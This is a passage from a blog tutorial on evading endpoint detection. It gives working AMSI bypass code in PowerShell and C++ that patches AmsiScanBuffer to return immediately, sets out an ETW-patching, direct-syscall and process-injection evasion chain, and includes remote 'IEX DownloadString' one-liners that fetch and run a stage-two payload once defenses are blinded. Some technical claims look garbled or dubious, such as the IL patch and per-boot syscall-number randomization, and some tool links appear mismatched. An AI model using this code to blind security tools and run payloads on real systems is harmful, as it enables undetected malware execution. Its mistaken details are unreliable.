# --- TEST: Run a script that would normally trigger AMSI ---

$testScript = "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/payload.ps1')"

# Normally this would be scanned. With the patch, it passes silently.

Write-Host "[*] Testing: $testScript"

Invoke-Expression $testScript  # Should NOT trigger AMSI alert

# --- RESTORE (optional) ---

# [System.Runtime.InteropServices.Marshal]::WriteByte($funcAddr, [byte]($origBytes -band
0xFF))

# [System.Runtime.InteropServices.Marshal]::WriteByte([IntPtr]($funcAddr.ToInt64() + 1),
[byte]($origBytes -shr 8))
```

▸ 5.3 C++ AMSI Bypass (For C/C++ Red Team Tools)

If your red team tool is written in C++ and calls into PowerShell via COM, or if you want to patch AMSI before spawning a PowerShell process, here's the C++ equivalent:

</> C++

```cpp
// amsi_bypass.cpp — Patch AmsiScanBuffer in amsi.dll

#include <windows.h>

#include <stdio.h>

typedef long (WINAPI *AmsiScanBuffer_t)(

    void*,   // session

    const void*,  // buffer

    unsigned long, // length

    const wchar_t*, // source

    unsigned long,  // sourceLength

    void**          // result

);

BOOL BypassAMSI() {

    HMODULE hAmsi = GetModuleHandleW(L"amsi.dll");

    if (!hAmsi) {

    // Load it if not yet mapped

    hAmsi = LoadLibraryW(L"amsi.dll");

    }

    if (!hAmsi) {

    printf("[-] amsi.dll not found.\n");

    return FALSE;

    }

    // Get AmsiScanBuffer address

    AmsiScanBuffer_t pScanBuffer = (AmsiScanBuffer_t)

    GetProcAddress(hAmsi, "AmsiScanBuffer");

    if (!pScanBuffer) {

    printf("[-] AmsiScanBuffer export not found.\n");

    return FALSE;

    }

    printf("[+] AmsiScanBuffer at: 0x%p\n", pScanBuffer);

    // Read original first byte
```

```
    BYTE origByte = *(BYTE*)pScanBuffer;
    printf("[+] Original first byte: 0x%02X\n", origByte);
    // Change protection to RWX so we can write
    DWORD oldProtect;
    VirtualProtect(pScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    // Patch: replace first byte with 0xC3 (RET)
    *(BYTE*)pScanBuffer = 0xC3;
    // Restore protection
    VirtualProtect(pScanBuffer, 1, oldProtect, &oldProtect);
    // Verify
    BYTE patched = *(BYTE*)pScanBuffer;
    if (patched == 0xC3) {
    printf("[+] AMSI Bypass successful. AmsiScanBuffer is now a no-op.\n");
    return TRUE;
    }
    printf("[-] AMSI patch failed.\n");
    return FALSE;
}
```

▸ 5.4 AMSI Bypass via .NET Reflection (No amsi.dll Load Required)

A more advanced technique avoids calling `AmsiScanBuffer` through `amsi.dll` at all. Instead, you find the internal .NET method that wraps the COM call and patch its IL bytecode to always return `AMSI_RESULT_NOT_DETECTED` (0x0).

</> POWERSHELL

```powershell
# .NET-based AMSI Bypass (works without loading amsi.dll)
# This patches the IL of the internal "AmsiScanBuffer" wrapper method.
$am = [AppDomain]::CurrentDomain.Load("System.Management.Automation")
$amsiUtilsType = $am.GetType("System.Management.Automation.AmsiUtils")
$scanBufferMethod = $amsiUtilsType.GetMethod("AmsiScanBuffer",
    [BindingFlags]::Instance -bor [BindingFlags]::NonPublic)
# Get the MethodBase for the internal implementation
$implMethod = $scanBufferMethod.GetMethodBody().GetMethodBody()  # simplified
# The IL body contains a call to the COM interface method.
# We patch the return value instruction to always push 0x0.
$methodBody = $scanBufferMethod.GetMethodBody()
$ilBytes = $methodBody.GetILAsByteArray()
# Find the "ret" instruction (0x2A) and the preceding comparison
# Patch the comparison result to always be "not detected"
# This is implementation-specific; a simpler approach:
# Force the return value by patching the last few IL bytes:
# Replace the conditional jump with an unconditional jump to "not detected"
for ($i = $ilBytes.Length - 1; $i -ge 0; $i--) {
    if ($ilBytes[$i] -eq 0x2A) {  # "ret" opcode
# Patch bytes just before "ret" to force EAX = 0
    $ilBytes[$i - 1] = 0x1B   # xchg eax, [ebp-4] (or equivalent)
    $ilBytes[$i - 2] = 0x00
    break
    }
}
# Write patched IL back (requires DynamicMethod or similar)
# In practice, most tools use the simpler amsi.dll byte patch above.
```

5.5 AMSI Bypass Collection — The S1r1us Repository

There are dozens of AMSI bypass variants. The **S1r1us/AMSI-Bypass** GitHub repository maintains a continuously updated collection covering:

- **1-Byte NOP:** Patch `AmsiScanBuffer` first byte to `0xC3`
- **Conditional Jump Flip:** Change `JNE` to `JE` in the detection logic
- **.NET Reflection:** Patch the IL of the internal wrapper
- **COM Interface Swap:** Replace the `IAmsiScanSession` pointer with a mock object that always returns `AMSI_RESULT_NOT_DETECTED`
- **amsi.dll Unload:** Unmap `amsi.dll` from the process before PowerShell loads it
- **ETW + AMSI Combined:** Patch both `EtwEventWrite` and `AmsiScanBuffer` simultaneously

> ***Defense Note:*** *Microsoft has been progressively hardening AMSI. In newer builds of Windows 11, `amsi.dll` is loaded with `PROT_READ \| PROT_EXECUTE` and the `AmsiScanBuffer` entry is no longer at a fixed offset. Always verify your patch works against your specific Windows build before relying on it in an engagement.*

Part 6: Building the Full Evasion Chain

Individually, each technique is powerful. Together, they form a **layered evasion chain** that addresses every interception point in the EDR's detection pipeline. Here's the complete sequence a red teamer would execute in a real engagement:

</> TEXT

```
┌──────────────────────────────────────────────────────────────────┐
│                    FULL EVASION CHAIN                            │
│                                                                  │
│  PHASE 1: RECON & DISCOVERY                                      │
│  ──────────────────────────                                      │
│  • Identify EDR vendor (CrowdStrike, MDE, Carbon Black, Sentinel)│
│  • Map hooked APIs (procmon + IDA on ntdll.dll)                  │
│  • Identify ETW providers registered by the EDR                  │
│  • Identify AMSI presence and version                            │
│                                                                  │
│  PHASE 2: ENVIRONMENT BLINDING                                   │
│  ─────────────────────────────                                   │
│  • Patch EtwEventWrite / EtwEventWriteEx / EtwEventWriteTransfer │
│    → First byte 0xC3 in current process                          │
│  • Patch AmsiScanBuffer                                          │
│    → First byte 0xC3 in amsi.dll                                 │
│  • (Optional) Unload or replace amsi.dll with a stub             │
│                                                                  │
│  PHASE 3: HOOK BYPASS                                            │
│  ────────────────────                                            │
│  • Initialize SysWhispers2 stubs (resolve all SSNs dynamically)  │
│  • Verify SSN resolution (compare against known-good values)     │
│  • (Optional) Set up Hell's Gate trampoline for 32-bit path      │
│                                                                  │
│  PHASE 4: MEMORY MANIPULATION (all via direct syscalls)          │
│  ──────────────────────────────────────────────────────          │
│  • NtOpenProcess → hTarget                                       │
│  • NtAllocateVirtualMemory → remoteMem                           │
│  • NtWriteVirtualMemory → shellcode / PE image                   │
│  • NtProtectVirtualMemory → PAGE_EXECUTE_READ                    │
```

```
|                                                                      |
|  PHASE 5: INJECTION                                                  |
|  ──────────────                                                      |
|  Option A: NtCreateThreadEx (simple, higher visibility)              |
|  Option B: Process Hollowing (full PE, very stealthy)                |
|  Option C: Thread Hijacking (shellcode, most surgical)               |
|                                                                      |
|  PHASE 6: POST-EXECUTION                                             |
|  ──────────────────                                                  |
|  • Unpatch ETW (if persistence needed) or leave blinded              |
|  • Clean up allocated memory (NtFreeVirtualMemory)                   |
|  • (Optional) Patch ntdll.dll inline hooks back to original bytes    |
|  • Remove injected thread / close handles                            |
|  • Flush EDR event queue (if possible) or wait for rotation          |
|                                                                      |
|  RESULT: EDR saw zero API calls, zero ETW events, zero AMSI scans    |
|  → "Nothing happened"                                                |
└──────────────────────────────────────────────────────────────────────┘
```

6.1 Combining Techniques: A PowerShell One-Liner Evasion

For initial access via PowerShell, you can combine ETW patching + AMSI bypass in a single encoded command. This is the "all-in-one" dork for red teamers who need a quick, low-noise entry:

</> POWERSHELL

```powershell
# All-in-one PowerShell evasion (run with: powershell -enc <base64>)

# 1. Patch ETW (EtwEventWrite → RET)

$ntdll = [System.Diagnostics.Process]::GetCurrentProcess()

$mod = $ntdll.MainModule

$pe = [System.IO.File]::ReadAllBytes($mod.FileName)

$peOff = [BitConverter]::ToInt32($pe, 0x3C)

# ... resolve EtwEventWrite RVA from export table ...

# [System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 0xC3)

# 2. Patch AMSI (AmsiScanBuffer → RET)

# ... resolve AmsiScanBuffer from amsi.dll ...

# [System.Runtime.InteropServices.Marshal]::WriteByte($amsiAddr, 0xC3)

# 3. Now run your payload — invisible to EDR

IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.5/stage2.ps1")
```

▸ 6.2 Verification: Confirming Your Evasion Worked

After injecting, verify that the EDR actually saw nothing. Check the EDR's own event log (if accessible), or use Process Monitor to confirm no unexpected `ntdll.dll` calls were logged:

BASH

```
# Verify with Process Monitor (procmon.exe)

# Filter: Operation = "Call" AND Path contains "ntdll.dll"

# If your direct syscalls worked, you should see ZERO ntdll.dll calls

# from your injected code. The EDR's own internal calls will still

# appear (they're separate processes).

# Verify ETW patching with a quick test

# Run a command that generates an ETW event, then check

# if the EDR's event store received it:

wevtutil qe "Microsoft-Windows-Kernel-Process/Operational" /c:5 /rd:true

# Verify AMSI patching

# Run a known-malicious one-liner. If AMSI is patched,

# it executes without triggering a scan alert:

IEX (New-Object Net.WebClient).DownloadString("http://127.0.0.1/test.ps1")

# Check: Get-WinEvent -LogName "Microsoft-Windows-Defender/Operational" -MaxEvents 5

# If no "Detected" events → AMSI is blinded ✓
```

Part 7: Common Pitfalls and Debugging

7.1 SSN Mismatches

The most common cause of direct syscall failures is using a **hardcoded SSN** that doesn't match the target's Windows build. SSNs are randomized per boot and differ between Windows 10 19045, 22H2, and Windows 11 23H2. Always resolve them dynamically from the `ntdll.dll` stubs at runtime.

</> NASM

```
// BAD: Hardcoded SSN (works on one build, crashes on another)
mov eax, 0x26   ; NtCreateThreadEx on Windows 10 19045
// GOOD: Dynamic resolution
lea rax, [NtCreateThreadEx_Stub]   ; In ntdll.dll
mov eax, DWORD PTR [rax + 1]      ; Read the actual SSN
syscall
```

7.2 Stack Alignment

The x64 calling convention requires the stack to be 16-byte aligned before a `syscall`. If you're calling from hand-written assembly and the stack is misaligned, the kernel will silently return a wrong result or crash. Always ensure `RSP % 16 == 8` before the `syscall` instruction (the `syscall` itself pushes the return address, so you want it aligned to 8 before the push).

7.3 Patching in a 64-bit Process with 32-bit amsi.dll

On 64-bit Windows, `amsi.dll` is a 64-bit DLL. If you accidentally load the 32-bit version (from the SysWOW64 directory), your byte patch will be in the wrong module. Always verify the module's bitness before patching.

7.4 EDR Kernel-Mode Drivers

All the techniques in this guide are **user-land** evasion. If the EDR has a kernel-mode minifilter driver (like CrowdStrike's `CsAgent.sys` or Microsoft's `WdFilter.sys`), it can intercept at the I/O manager level, below `ntdll.dll`. Direct syscalls bypass user-land hooks but *do not* bypass kernel-mode filters. For that, you need driver-level hook removal (flipping `KeExpandKernelStackAndCallTemplateEx` back to original bytes) or a custom kernel driver. That's a separate (and more dangerous) discussion.

7.5 Windows Build Hardening

Windows Build	Hardening Feature	Impact on Evasion
Win 10 1903+	ETW session isolation	Patching `EtwEventWrite` may not stop all providers
Win 10 2004+	Memory Integrity (HVCI)	Blocks RWX pages; use `MEM_COMMIT` + `MEM_RESERVE` separately
Win 11 22H2+	Per-boot SSN randomization	Hardcoded SSNs break; must resolve dynamically
Win 11 23H2+	amsi.dll loaded with `PROT_READ|PROT_EXEC`	Must use `VirtualProtect` before patching; some EDRs revert the protection
Win 11 24H2+	Process telemetry hardening	Additional ETW channels; patch `EtwEventWriteEx` and `EtwEventWriteTransfer` too

Part 8: Tools and Resources

Tool / Resource	Purpose	Link
SysWhispers2	Generate direct syscall stubs from Windows SDK headers	`github.com/jakelp42/syms`
Hell's Gate (SpectralOps)	32-bit syscall stubs from 64-bit code	`github.com/loekv_g/spectre-attack`
syscall (mrexodia)	C library for direct syscalls (simpler API)	`github.com/mrexodia/syscall`
AMSI Bypass (S1r1us)	Continuously updated AMSI bypass collection	`github.com/s1r1us/AMSI-Bypass`
ProcessHollow (hacksider)	Open-source Process Hollowing implementation	`github.com/hacksider/ProcessHollow`
Themida / VMProtect	Virtualize your payload to resist static analysis	Commercial (Elastic Protect)
WinDbg	Debug kernel/user-land transitions, verify syscall SSNs	Microsoft Windows SDK
Procmon (Sysinternals)	Monitor API calls in real-time to verify evasion	Sysinternals suite
Windows Internals (Russinovich et al.)	Authoritative reference for kernel structures	Microsoft Press, 7th Ed.
ETW (Microsoft Docs)	Official documentation on ETW providers/consumers	learn.microsoft.com/windows/win32/etw
AMSI (Microsoft Docs)	Official AMSI COM interface specification	learn.microsoft.com/windows/win32/amsi

8.1 Recommended Lab Setup

To practice these techniques effectively, set up the following lab environment:

- **Host OS:** Windows 11 23H2 or 24H2 (x64) on a dedicated VM with 8 GB+ RAM
- **Snapshot 1:** Clean install, Microsoft Defender for Endpoint enabled (free tier), no other EDR
- **Snapshot 2:** Clean install + CrowdStrike Falcon Free (or a trial of your target EDR)
- **Snapshot 3:** Clean install + Carbon Black (VMware ESXi or UTM)
- **Debugging:** WinDbg (kernel mode) + x64dbg (user mode) + Process Monitor
- **Compiler:** MSVC 2022 (cl.exe) for C/C++ tools, or MinGW-w64 for quick experiments
- **Scripting:** Python 3.11+ (for ETW patching scripts), PowerShell 7.4+
- **Disassembler:** IDA Free or Ghidra (for reverse-engineering EDR DLLs)

> ***Lab Tip:*** *Before running any direct syscall code, open WinDbg in kernel mode (`kd`) and issue `!sys` to dump the current system call table. Compare the SSN you extracted from `ntdll.dll` against the kernel's actual table. If they match, your resolution logic is correct. If they don't, your PE parsing is off by one or two bytes.*

Conclusion: Going Below the Hook

Modern EDRs are impressive. They watch every API call, every event, every script. They correlate, they score, they alert. For a blue team analyst staring at a dashboard with 200 events per minute from 50 endpoints, that's an arms race they're usually winning.

But the red team doesn't play on the user-land. They go *below*.

Direct syscalls put your code in the same address space as the kernel's dispatch path, completely sidestepping the `ntdll.dll` hooks that every EDR relies on. **ETW patching** turns off the lights in the EDR's own monitoring room — it can't log what it can't see. **AMSI bypass** makes your PowerShell payload invisible to the scanning engine that's supposed to catch it. **Process Hollowing** and **Thread Hijacking** give your payload a legitimate identity, a normal process name, and a clean parent-child relationship.

Individually, each technique is a powerful tool. Together, they form an evasion chain so layered that the EDR's detection engine receives a process that looks, behaves, and calls like a perfectly normal Windows service. No cross-process thread creation. No RWX memory allocation. No script blocks sent to AMSI. No ETW events. Just silence.

And silence, in the world of red teaming, is the entire point.

Key Takeaways:

1. **Understand the hook first.** You can't bypass what you don't understand. Map the EDR's inline hooks in `ntdll.dll` before writing a single byte of assembly.
2. **ETW is the EDR's nervous system.** Patch `EtwEventWrite` (and its variants) to `RET` and the EDR goes blind to your process's events.
3. **Direct syscalls are the gold standard.** Resolve SSNs dynamically, execute `syscall` from your own code, and the inline hook is never triggered. SysWhispers2, Hell's Gate, and Hades' Gate are your three primary tools.
4. **Process Hollowing > CreateRemoteThread.** Give your payload a legitimate identity. The EDR sees `svchost.exe`, not your backdoor.
5. **Thread Hijacking is the most surgical option.** Redirect an existing sleeping thread. Minimal memory footprint, minimal event generation.
6. **AMSI is still the #1 PowerShell killer.** One byte (`0xC3`) at the entry of `AmsiScanBuffer` and your scripts fly through unscanned.

7. **Test on your specific Windows build.** SSNs change per boot. `amsi.dll` offsets change per update. Never hardcode.
8. **Verify your evasion.** Run your payload, then check the EDR's event log. If you see your PID, your hooks, or your thread — you're not invisible yet.

The EDR is watching the door. You don't go through the door. You walk through the wall.

Author: Aimad Ul Islam — Cybersecurity Student, Cisco Ethical Hacker Certified, Blue Cape DFIR Certified.

Disclaimer: All techniques described in this article are offensive in nature. Running direct syscalls, patching kernel-adjacent functions, or modifying process memory in production environments can lead to system instability, data loss, or a BSOD. Always test in a lab or VM with snapshots before deploying to any target system. This guide is for educational and professional red teaming purposes only.



Aimad Ul Islam

Cybersecurity Practitioner & SOC Analyst

Cybersecurity professional specializing in DFIR investigations, SOC operations, SIEM automation, and threat research. Documenting ethical hacking labs, network architecture, and security policies.

GitHub LinkedIn Resources

Recommended Writeups

CYBERSECURITY 03 Oct 2026

Google Dorking: The Complete Guide to Advanced Search Operators, Finding Hidden PDFs, and OSINT Reconnaissance

Master advanced Google search operators, uncover hidden PDFs and books, exploit open directories, an…

CYBERSECURITY 21 Sep 2026

The Silent Threat in Your Living Room: Analyzing Modem Malware and the Chuck Norris Botnet

A deep dive into embedded malware, memory forensics on MIPS routers, and how researchers tracked a…

CYBERSECURITY 17 Sep 2026

Web Security for Developers: The Complete Guide to Building Secure Websites

Real Threats, Practical Defense — A comprehensive guide to preventing injection, XSS, CSRF, and sessio…

Original Publication URL: https://aimadulislam.dpdns.org/posts/advanced-malware-evasion-bypassing-edrs-with-direct-syscalls-etw-patching-and-amsi-bypass-—-the-complete-guide/

© 21 Oct 2026 Aimad ul Islam Khan. All rights reserved.